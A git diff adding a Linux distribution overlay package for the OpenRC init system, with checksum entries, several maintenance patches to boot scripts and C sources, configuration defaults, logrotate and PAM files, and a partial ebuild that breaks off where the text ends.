+DIST openrc-0.8.2.tar.bz2 161165 SHA256 5d603869f78692947b60528f12b3107372a9e4a469621be7bc47d3829c16f8a1 +DIST openrc-0.8.3.tar.bz2 162474 SHA256 38ce2538bffe38c00055aadb85597f6f517b3e9f760dc1ed4a27ddf28cb9f4b4 +DIST openrc-0.9.8.1.tar.bz2 166841 SHA256 ba83fd5409a4a1626f35adfd06e61675585f5ae29e14dadab958016e24d2a995 +DIST openrc-0.9.9.3.tar.bz2 169462 SHA256 75487579982eddee9bbc7c3f6515ef8924eefd35c4829361e2b4c4c69bd047ab diff --git a/sys-apps/openrc/Reasons b/sys-apps/openrc/Reasons new file mode 100644 index 00000000..52f2f92a --- /dev/null +++ b/sys-apps/openrc/Reasons @@ -0,0 +1,5 @@ +# Fabio Erculiani +- rebrand boot string +- disable deprecated addons warnings +- do not let /etc/conf.d/keymaps to be overwritten, provide .example files +- fix Gentoo bug #299633 diff --git a/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch b/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch new file mode 100644 index 00000000..ec925cc1 --- /dev/null +++ b/sys-apps/openrc/files/0001-Filter-the-systemd-cgroup-from-the-current-process.patch @@ -0,0 +1,34 @@ +From 9f2ef0dabec9d7644f3f13e6d9e2037396493c6d Mon Sep 17 00:00:00 2001 +From: Fabio Erculiani +Date: Sat, 22 Jun 2013 11:05:11 +0200 +Subject: [PATCH] Filter the systemd cgroup from the current process + +logind relies on the name=systemd:/ cgroup path to determine the +session name and seat through pam_systemd. The problem arises when +the user log into a tty or via ssh and restart a service: the +name=systemd cgroup is not cleared and it gets inherited by all +the child processes spawned by the service. +--- + sh/runscript.sh.in | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/sh/runscript.sh.in b/sh/runscript.sh.in +index 58e8eac..ba8eeb4 100644 +--- a/sh/runscript.sh.in ++++ b/sh/runscript.sh.in +@@ -249,6 +249,12 @@ while [ -n "$1" ]; do + cd / + continue + fi ++ if [ "$1" = start ] && [ -d /sys/fs/cgroup/systemd ]; then ++ # reset the systemd cgroup so that it won't be ++ # propagated to children. This makes logind work, ++ # which otherwise gets confused. ++ echo $$ > /sys/fs/cgroup/systemd/tasks ++ fi + # See if we have the required function and run it + for _cmd in describe start stop status ${extra_commands:-$opts} \ + $extra_started_commands $extra_stopped_commands +-- +1.8.2.1 + diff --git a/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch b/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch new file mode 100644 index 00000000..7e1140d6 --- /dev/null +++ b/sys-apps/openrc/files/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch @@ -0,0 +1,41 @@ +From 29f0f55c0e7debef879674ed288c1d3af0f84772 Mon Sep 17 00:00:00 2001 +From: "Robin H. Johnson" +Date: Mon, 24 Jun 2013 19:31:58 +0000 +Subject: [PATCH] efivarfs: Support EFI variable access in 3.10 kernels. + +In the 3.10 kernel, EFI variables are now provided by a dedicated +filesystem that needs to be mounted. + +Signed-off-by: Robin H. Johnson +--- + init.d/sysfs.in | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + +diff --git a/init.d/sysfs.in b/init.d/sysfs.in +index 114a653..7658cb5 100644 +--- a/init.d/sysfs.in ++++ b/init.d/sysfs.in +@@ -81,6 +81,20 @@ mount_misc() + eend $? + fi + fi ++ ++ # setup up kernel support for efivarfs ++ # slightly complicated, as if it's build as a module but NOT yet loaded, ++ # it will NOT appear in /proc/filesystems yet ++ if [ -d /sys/firmware/efi/efivars ] \ ++ && ! mountinfo -q /sys/firmware/efi/efivars; then ++ modprobe -q efivarfs ++ if grep -qs efivarfs /proc/filesystems; then ++ ebegin "Mounting efivarfs filesystem" ++ mount -n -t efivarfs -o ${sysfs_opts} \ ++ efivarfs /sys/firmware/efi/efivars ++ eend $? ++ fi ++ fi + } + + mount_cgroups() +-- +1.8.2.1 + diff --git a/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch b/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch new file mode 100644 index 00000000..eb4ed168 --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.5.3-disable_warns_until_migrated.patch @@ -0,0 +1,16 @@ +diff -Nurp openrc-0.5.3.orig/sh/rc-functions.sh.in openrc-0.5.3/sh/rc-functions.sh.in +--- openrc-0.5.3.orig/sh/rc-functions.sh.in 2009-12-02 20:08:02.000000000 +0100 ++++ openrc-0.5.3/sh/rc-functions.sh.in 2009-12-26 05:42:17.000000000 +0100 +@@ -18,10 +18,10 @@ _addon_warn() + import_addon() + { + if [ -e /@LIB@/rc/addons/"$1".sh ]; then +- _addon_warn ++ # _addon_warn + . /@LIB@/rc/addons/"$1".sh + elif [ -e /@LIB@/rcscripts/addons/"$1".sh ]; then +- _addon_warn ++ # _addon_warn + . /@LIB@/rcscripts/addons/"$1".sh + else + return 1 diff --git a/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch b/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch new file mode 100644 index 00000000..2b666767 --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch @@ -0,0 +1,12 @@ +diff -Naur openrc-0.6.1.a/init.d/savecache.in openrc-0.6.1.b/init.d/savecache.in +--- openrc-0.6.1.a/init.d/savecache.in 2010-03-22 15:02:12.000000000 -0500 ++++ openrc-0.6.1.b/init.d/savecache.in 2010-07-13 13:56:47.000000000 -0500 +@@ -10,7 +10,7 @@ + ewarn "WARNING: clock skew detected!" + if ! yesno "savecache_skewed"; then + eerror "Not saving deptree cache" +- return 1 ++ return 0 + fi + fi + ebegin "Saving dependency cache" diff --git a/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch b/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch new file mode 100644 index 00000000..534a8899 --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch @@ -0,0 +1,14 @@ +https://bugs.gentoo.org/310805 + +patch by Lars Wendler + +--- openrc-0.6.1/init.d/network.in ++++ openrc-0.6.1/init.d/network.in +@@ -74,6 +74,7 @@ + esac + done + [ $? = 2 ] ++ ;; + *) + local inet= address= rest= + LC_ALL=C ifconfig -a | while read inet address rest; do diff --git a/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch b/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch new file mode 100644 index 00000000..14ecd5f8 --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch @@ -0,0 +1,57 @@ +From c427d3c1fec89f6a9281dccdc123bad73af80804 Mon Sep 17 00:00:00 2001 +From: Mike Frysinger +Date: Tue, 28 Jun 2011 00:02:11 -0400 +Subject: [PATCH] net: ccwgroup: smooth up/down process + +We need to bring the link up ourselves after we've properly configured +the device. The common code tries to bring the link up itself, but it +does so before things are configured, and so it ends up failing. + +When shutting down, we need to wait for the kernel to finish destroying +the interface. Otherwise, when doing a restart, openrc is quick enough +to tell the kernel to destroy things, but then start trying to bring it +back up before the kernel has finished. + +X-Gentoo-Bug: 367467 +X-Gentoo-Bug-URL: http://bugs.gentoo.org/367467 +Signed-off-by: Mike Frysinger +--- + net/ccwgroup.sh | 14 ++++++++++++-- + 1 files changed, 12 insertions(+), 2 deletions(-) + +diff --git a/net/ccwgroup.sh b/net/ccwgroup.sh +index 248b159..60cd25f 100644 +--- a/net/ccwgroup.sh ++++ b/net/ccwgroup.sh +@@ -58,6 +58,11 @@ ccwgroup_pre_start() + echo "${val}" > /sys/devices/${ccw_type}/${first}/${var} + done + eend $? ++ ++ # Now that we've properly configured the device, we can run ++ # bring the interface up. Common code tried to do this already, ++ # but it failed because we didn't setup sysfs yet. ++ _up + } + + ccwgroup_pre_stop() +@@ -88,9 +93,14 @@ ccwgroup_post_stop() + local device="$(service_get_value ccwgroup_device)" + [ -z "${device}" ] && return 0 + local ccw_type="$(service_get_value ccwgroup_type)" ++ local path="/sys/devices/${ccw_type}/${device}" + + einfo "Disabling ccwgroup/${ccw_type} on ${IFACE}" +- echo "0" >/sys/devices/${ccw_type}/"${device}"/online +- echo "1" >/sys/devices/${ccw_type}/"${device}"/ungroup ++ if echo "0" >"${path}"/online && ++ echo "1" >"${path}"/ungroup ; then ++ # The device doesn't disappear right away which breaks ++ # restart, or a quick start up, so wait around. ++ while [ -e "${path}" ] ; do :; done ++ fi + eend $? + } +-- +1.7.5.3 + diff --git a/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch b/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch new file mode 100644 index 00000000..1aa7315b --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch @@ -0,0 +1,33 @@ +From 24ba7955634dd571a4c34dd712dc8a592eea4d73 Mon Sep 17 00:00:00 2001 +From: Joe Harvell +Date: Mon, 27 Jun 2011 23:20:47 +0200 +Subject: [PATCH] Only print the deprecation warning for --chuid/-c when using it + +The deprecation warning has been printed when using the replecement functions as +well, bug 373243. +--- + src/rc/start-stop-daemon.c | 5 ++--- + 1 files changed, 2 insertions(+), 3 deletions(-) + +diff --git a/src/rc/start-stop-daemon.c b/src/rc/start-stop-daemon.c +index b5c2b6e..3017701 100644 +--- a/src/rc/start-stop-daemon.c ++++ b/src/rc/start-stop-daemon.c +@@ -788,12 +788,11 @@ start_stop_daemon(int argc, char **argv) + background = true; + break; + +- case 'u': /* --user | */ + case 'c': /* --chuid | */ +- { + /* DEPRECATED */ + ewarn("WARNING: -c/--chuid is deprecated and will be removed in the future, please use -u/--user instead"); +- ++ case 'u': /* --user | */ ++ { + p = optarg; + tmp = strsep(&p, ":"); + changeuser = xstrdup(tmp); +-- +1.7.3.4 + diff --git a/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch b/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch new file mode 100644 index 00000000..b520b34c --- /dev/null +++ b/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch @@ -0,0 +1,25 @@ +During boot, if /lib64/rc/init.d/ is a tmpfs mount +and rc.log can be either unavailable or no longer +available at some point in the future. +This patch makes rc-logger deal with ENOENT if +rc.log cannot be opened for reading. +--- openrc-0.9.9.3.orig/src/rc/rc-logger.c ++++ openrc-0.9.9.3/src/rc/rc-logger.c +@@ -268,7 +268,7 @@ rc_logger_open(const char *level) + break; + } + } +- } else { ++ } else if (errno != ENOENT) { + log_error = 1; + eerror("Error: fopen(%s) failed: %s", TMPLOG, strerror(errno)); + } +@@ -280,7 +280,7 @@ rc_logger_open(const char *level) + * logfile or its basedir may be read-only during sysinit and + * shutdown so skip the error in this case + */ +- if (errno != EROFS && ((strcmp(level, RC_LEVEL_SHUTDOWN) != 0) && (strcmp(level, RC_LEVEL_SYSINIT) != 0))) { ++ if (errno != EROFS && errno != ENOENT && ((strcmp(level, RC_LEVEL_SHUTDOWN) != 0) && (strcmp(level, RC_LEVEL_SYSINIT) != 0))) { + log_error = 1; + eerror("Error: fopen(%s) failed: %s", logfile, strerror(errno)); + } diff --git a/sys-apps/openrc/files/openrc-9999-pause.patch b/sys-apps/openrc/files/openrc-9999-pause.patch new file mode 100644 index 00000000..bf2c94f8 --- /dev/null +++ b/sys-apps/openrc/files/openrc-9999-pause.patch @@ -0,0 +1,29 @@ +From e82772a6b6d4374e81b7e19a593ffdef16753418 Mon Sep 17 00:00:00 2001 +From: Mike Frysinger +Date: Mon, 21 Dec 2009 09:02:35 -0500 +Subject: [PATCH] restore init.d pause option + +--- + src/rc/runscript.c | 6 ++++++ + 1 files changed, 6 insertions(+), 0 deletions(-) + +diff --git a/src/rc/runscript.c b/src/rc/runscript.c +index 5939dae..7147902 100644 +--- a/src/rc/runscript.c ++++ b/src/rc/runscript.c +@@ -1316,6 +1316,12 @@ runscript(int argc, char **argv) + prefix = NULL; + retval = svc_exec("status", NULL); + } else { ++ if (strcmp(optarg, "pause") == 0) { ++ ewarn("WARNING: 'pause' is deprecated; please use '--nodeps stop'"); ++ deps = false; ++ optarg = "stop"; ++ } ++ + if (strcmp(optarg, "conditionalrestart") == 0 || + strcmp(optarg, "condrestart") == 0) + { +-- +1.6.6.rc3 + diff --git a/sys-apps/openrc/files/openrc-enable-interactive-2.patch b/sys-apps/openrc/files/openrc-enable-interactive-2.patch new file mode 100644 index 00000000..cd56586d --- /dev/null +++ b/sys-apps/openrc/files/openrc-enable-interactive-2.patch @@ -0,0 +1,11 @@ +--- openrc-0.9.8.1.orig//etc/rc.conf.in ++++ openrc-0.9.8.1/etc/rc.conf.in +@@ -3,7 +3,7 @@ + # Set rc_interactive to "YES" and you'll be able to press the I key during + # boot so you can choose to start specific services. Set to "NO" to disable + # this feature. +-#rc_interactive="YES" ++rc_interactive="YES" + + # If we need to drop to a shell, you can specify it here. + # If not specified we use $SHELL, otherwise the one specified in /etc/passwd, diff --git a/sys-apps/openrc/files/openrc-enable-interactive.patch b/sys-apps/openrc/files/openrc-enable-interactive.patch new file mode 100644 index 00000000..783c3567 --- /dev/null +++ b/sys-apps/openrc/files/openrc-enable-interactive.patch @@ -0,0 +1,11 @@ +--- openrc-0.6.8.orig/etc/rc.conf.in ++++ openrc-0.6.8/etc/rc.conf.in +@@ -13,7 +13,7 @@ + # boot so you can choose to start specific services. Set to "NO" to disable + # this feature. This feature is automatically disabled if rc_parallel is + # set to YES. +-#rc_interactive="YES" ++rc_interactive="YES" + + # If we need to drop to a shell, you can specify it here. + # If not specified we use $SHELL, otherwise the one specified in /etc/passwd, diff --git a/sys-apps/openrc/files/openrc-netmount-fix.patch b/sys-apps/openrc/files/openrc-netmount-fix.patch new file mode 100644 index 00000000..8e6b3686 --- /dev/null +++ b/sys-apps/openrc/files/openrc-netmount-fix.patch @@ -0,0 +1,11 @@ +--- openrc-0.5.3.orig/init.d/netmount.in ++++ openrc-0.5.3/init.d/netmount.in +@@ -80,7 +80,7 @@ stop() + fs="$fs${fs:+,}$x" + done + if [ -n "$fs" ]; then +- umount -at $fs || eerror "Failed to simply unmount filesystems" ++ umount -at $fs || umount -atl $fs || eerror "Failed to simply unmount filesystems" + fi + + eindent diff --git a/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch b/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch new file mode 100644 index 00000000..a202aeac --- /dev/null +++ b/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch @@ -0,0 +1,30 @@ +diff -Naur a/openrc-0.6.0/init.d/localmount.in b/openrc-0.6.0/init.d/localmount.in +--- a/openrc-0.6.0/init.d/localmount.in 2009-12-21 09:30:17.000000000 -0600 ++++ b/openrc-0.6.0/init.d/localmount.in 2010-03-09 10:53:53.000000000 -0600 +@@ -32,6 +32,11 @@ + # We never unmount / or /dev or $RC_SVCDIR + local x= no_umounts_r="/|/dev|/dev/.*|${RC_SVCDIR}" + no_umounts_r="${no_umounts_r}|/bin|/sbin|/lib|/libexec" ++ ++ # In case $RC_SVCDIR tries to unmount due to lib64 ++ # symlink configuration, we cd to it to lock it ++ cd "$RC_SVCDIR" ++ + # RC_NO_UMOUNTS is an env var that can be set by plugins + OIFS=$IFS SIFS=${IFS-y} + IFS=$IFS: +diff -Naur a/openrc-0.6.0/init.d/mount-ro.in b/openrc-0.6.0/init.d/mount-ro.in +--- a/openrc-0.6.0/init.d/mount-ro.in 2009-12-21 09:30:17.000000000 -0600 ++++ b/openrc-0.6.0/init.d/mount-ro.in 2010-03-09 10:56:25.000000000 -0600 +@@ -16,6 +16,11 @@ + sync; sync + + ebegin "Remounting remaining filesystems read-only" ++ ++ # cd to $RC_SVCDIR it to lock it in case of incorrect ++ # assumptions about lib64 symlink configuration. ++ cd "$RC_SVCDIR" ++ + # We need the do_unmount function + . "$RC_LIBEXECDIR"/sh/rc-mount.sh + eindent diff --git a/sys-apps/openrc/files/openrc-sabayon-config-2.patch b/sys-apps/openrc/files/openrc-sabayon-config-2.patch new file mode 100644 index 00000000..7e392460 --- /dev/null +++ b/sys-apps/openrc/files/openrc-sabayon-config-2.patch @@ -0,0 +1,31 @@ +diff -Nurp openrc-0.9.9.3.orig/conf.d/hwclock openrc-0.9.9.3/conf.d/hwclock +--- openrc-0.9.9.3.orig/conf.d/hwclock 2012-03-11 21:04:51.000000000 +0100 ++++ openrc-0.9.9.3/conf.d/hwclock 2012-04-19 18:50:12.000000000 +0200 +@@ -2,7 +2,7 @@ + # Greenwich Mean Time). If that clock is set to the local time, then + # set CLOCK to "local". Note that if you dual boot with Windows, then + # you should set it to "local". +-clock="UTC" ++clock="local" + + # If you want the hwclock script to set the system time (software clock) + # to match the current hardware clock during bootup, leave this +diff -Nurp openrc-0.9.9.3.orig/etc/rc.conf.in openrc-0.9.9.3/etc/rc.conf.in +--- openrc-0.9.9.3.orig/etc/rc.conf.in 2012-03-11 21:04:51.000000000 +0100 ++++ openrc-0.9.9.3/etc/rc.conf.in 2012-04-19 18:49:46.000000000 +0200 +@@ -39,13 +39,13 @@ + # This allows net.wlan and any service not matching net.* to be plugged. + # Example - rc_hotplug="*" + # This allows all services to be hotplugged +-#rc_hotplug="*" ++rc_hotplug="!net.*" + + # rc_logger launches a logging daemon to log the entire rc process to + # /var/log/rc.log + # NOTE: Linux systems require the devfs service to be started before + # logging can take place and as such cannot log the sysinit runlevel. +-#rc_logger="YES" ++rc_logger="YES" + + # Through rc_log_path you can specify a custom log file. + # The default value is: /var/log/rc.log diff --git a/sys-apps/openrc/files/openrc-sabayon-config.patch b/sys-apps/openrc/files/openrc-sabayon-config.patch new file mode 100644 index 00000000..440171f9 --- /dev/null +++ b/sys-apps/openrc/files/openrc-sabayon-config.patch @@ -0,0 +1,35 @@ +--- openrc-0.5.3.orig/conf.d/hwclock ++++ openrc-0.5.3/conf.d/hwclock +@@ -2,12 +2,12 @@ + # Greenwich Mean Time). If that clock is set to the local time, then + # set CLOCK to "local". Note that if you dual boot with Windows, then + # you should set it to "local". +-clock="UTC" ++clock="local" + + # If you want to set the Hardware Clock to the current System Time + # (software clock) during shutdown, then say "YES" here. + # You normally don't need to do this if you run a ntp daemon. +-clock_systohc="NO" ++clock_systohc="YES" + + # If you wish to pass any other arguments to hwclock during bootup, + # you may do so here. Alpha users may wish to use --arc or --srm here. +--- openrc-0.5.3.orig/etc/rc.conf.in ++++ openrc-0.5.3/etc/rc.conf.in +@@ -38,13 +38,13 @@ + # This allows net.wlan and any service not matching net.* to be plugged. + # Example - rc_hotplug="*" + # This allows all services to be hotplugged +-#rc_hotplug="*" ++rc_hotplug="!net.*" + + # rc_logger launches a logging daemon to log the entire rc process to + # /var/log/rc.log + # NOTE: Linux systems require the devfs service to be started before + # logging can take place and as such cannot log the sysinit runlevel. +-#rc_logger="YES" ++rc_logger="YES" + + # By default we filter the environment for our running scripts. To allow other + # variables through, add them here. Use a * to allow all variables through. diff --git a/sys-apps/openrc/files/openrc.logrotate b/sys-apps/openrc/files/openrc.logrotate new file mode 100644 index 00000000..a168f236 --- /dev/null +++ b/sys-apps/openrc/files/openrc.logrotate @@ -0,0 +1,7 @@ +/var/log/rc.log { + compress + rotate 4 + weekly + missingok + notifempty +} diff --git a/sys-apps/openrc/files/start-stop-daemon.pam b/sys-apps/openrc/files/start-stop-daemon.pam new file mode 100644 index 00000000..2127f6a7 --- /dev/null +++ b/sys-apps/openrc/files/start-stop-daemon.pam @@ -0,0 +1,2 @@ +account required pam_permit.so +session include system-services diff --git a/sys-apps/openrc/metadata.xml b/sys-apps/openrc/metadata.xml new file mode 100644 index 00000000..2b127ba5 --- /dev/null +++ b/sys-apps/openrc/metadata.xml @@ -0,0 +1,5 @@ + + + +openrc + diff --git a/sys-apps/openrc/openrc-0.10.5.ebuild b/sys-apps/openrc/openrc-0.10.5.ebuild new file mode 100644 index 00000000..a48cb922 --- /dev/null +++ b/sys-apps/openrc/openrc-0.10.5.ebuild @@ -0,0 +1,471 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.10.5.ebuild,v 1.1 2012/07/04 14:36:33 williamh Exp $ + +EAPI=4 + +EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git" +[[ ${PV} == "9999" ]] && SCM_ECLASS="git-2" +inherit eutils flag-o-matic multilib pam toolchain-funcs ${SCM_ECLASS} +unset SCM_ECLASS + +DESCRIPTION="OpenRC manages the services, startup and shutdown of a host" +HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/" +if [[ ${PV} != "9999" ]] ; then + SRC_URI="mirror://gentoo/${P}.tar.bz2" + KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd" +fi + +LICENSE="BSD-2" +SLOT="0" +IUSE="debug elibc_glibc ncurses pam selinux static-libs unicode kernel_linux kernel_FreeBSD" + +RDEPEND="virtual/init + kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) ) + elibc_glibc? ( >=sys-libs/glibc-2.5 ) + ncurses? ( sys-libs/ncurses ) + pam? ( sys-auth/pambase ) + >=sys-apps/baselayout-2.1-r1 + kernel_linux? ( + sys-process/psmisc + ) + !